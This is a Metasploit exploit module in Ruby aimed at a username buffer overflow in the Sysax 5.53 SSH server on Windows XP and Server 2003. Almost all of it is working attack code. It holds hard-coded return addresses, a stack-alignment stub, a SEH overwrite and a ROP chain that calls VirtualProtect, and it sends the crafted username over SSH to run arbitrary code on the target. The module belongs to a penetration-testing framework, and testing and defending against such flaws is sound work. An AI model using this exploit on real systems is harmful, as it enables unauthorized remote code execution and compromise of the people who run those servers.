require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "Sysax 5.53 SSH Username Buffer Overflow",
'Description'=> %q{
This module exploits a vulnerability found in Sysax's SSH service.By
supplying a long username, the SSH server will copy that data on the stack
without any proper bounds checking, therefore allowing remote code execution
under the context of the user.Please note that previous versions
(before 5.53) are also affected by this bug.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Craig Freyman',#Initial discovery, PoC
'sinn3r'#Metasploit
],
'References' =>
[
['OSVDB', '79689'],
['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
['URL', 'http://www.exploit-db.com/exploits/18535/']
],
'Payload'=>
{
'Space' => 1024,
'BadChars'=> "\x00\x3a",
'StackAdjustment' => -3500
},
'DefaultOptions'=>
{
'ExitFunction' => "seh"
},
'Platform' => 'win',
'Targets'=>
[
[
'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
{
'Rop' => false,
'Ret' => 0x00402669# POP/POP/RET - sysaxservd.exe
}
],
[
'Sysax 5.53 on Win2K3 SP1/SP2',
{
'Rop' => true,
'Ret' => 0x0046d23c# ADD ESP, 0F8C # RETN
}
]
],
'Privileged' => false,
'DisclosureDate' => "Feb 27 2012",
'DefaultTarget'=> 0))
register_options(
[
OptInt.new('RPORT', [false, 'The target port', 22])
], self.class)
end
def load_netssh
begin
require 'net/ssh'
return true
rescue LoadError
return false
end
end
def get_regular_exploit
#
# Align the stack to the beginning of the fixed size payload
#
align= "\x54"#PUSH ESP
align << "\x58"#POP EAX
align << "\x04\x08"#ADD AL,0x08
align << "\x8b\x18"#MOV EBX, [EAX]
align << "\x93"#XCHG EAX,EBX
align << "\x66\x2d\x10\x04"#SUB AX,0x361
align << "\x50"#PUSH EAX
align << "\xc3"#RET
#
# Our payload limited to 1024+4 bytes
#
p = make_nops(4)
p << payload.encoded
#
# Craft the buffer like this:
# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
# for the IP length, so the next 9404-byte space will begin at a consistent place.
# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
# partial-overwrite to allow a null byte in SEH.
#
buf= ''
buf << rand_text(392, payload_badchars)
buf << rand_text(20, payload_badchars)
buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20
buf << p
buf << align
buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back
buf << [target.ret].pack('V*')
return buf
end
def get_rop_exploit
junk = rand_text(4).unpack("L")[0].to_i
nop= make_nops(4).unpack("L")[0].to_i
# !mona rop -m msvcrt
p =
[
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp
0x77bb2563,
0x03C0990F,
0x77bdd441,
0x77bb48d3,
0x77bf21e0,
0x77bbf102,
0x77bbfc02,
0x77bef001,
0x77bd8c04,
0x77bd8c05,
0x77bb2563,
0x03c0984f,
0x77bdd441,
0x77bb8285,
0x77bb2563,
nop,
0x77be6591,
].pack("V*")
p << payload.encoded
buf= ''
buf << rand_text(392, payload_badchars)
buf << rand_text(20, payload_badchars)
buf << rand_text(1012, payload_badchars)
buf << p
buf << rand_text(9204-buf.length)
buf << rand_text(4, payload_badchars)
buf << [target.ret].pack('V*')
return buf
end
def exploit
has_netssh = load_netssh
if not has_netssh
print_error("You don't have net/ssh installed.Please run gem install net-ssh")
return
end
if target['Rop']
buf = get_rop_exploit
else
buf = get_regular_exploit
end
pass = rand_text_alpha(8)
begin
print_status("Sending malicious request to #{rhost}:#{rport}...")
ssh = Net::SSH.start(
datastore['RHOST'],
buf,
{
:password=> pass,
:port=> datastore['RPORT'],
:timeout => 1
})
::Timeout.timeout(1) {ssh.close} rescue nil
rescue Errno::ECONNREFUSED
print_error("Cannot establish a connection on #{rhost}:#{rport}")
return
rescue ::Exception => e
if e.message =~ /fingerprint [0-9a-z\:]+ does not match/
print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
return
end
end
handler(ssh)
end
end
=begin
Todo: We seriously need a MSF SSH mixin to handle the SSH protocol ourselves, not
relying on net/ssh.
=end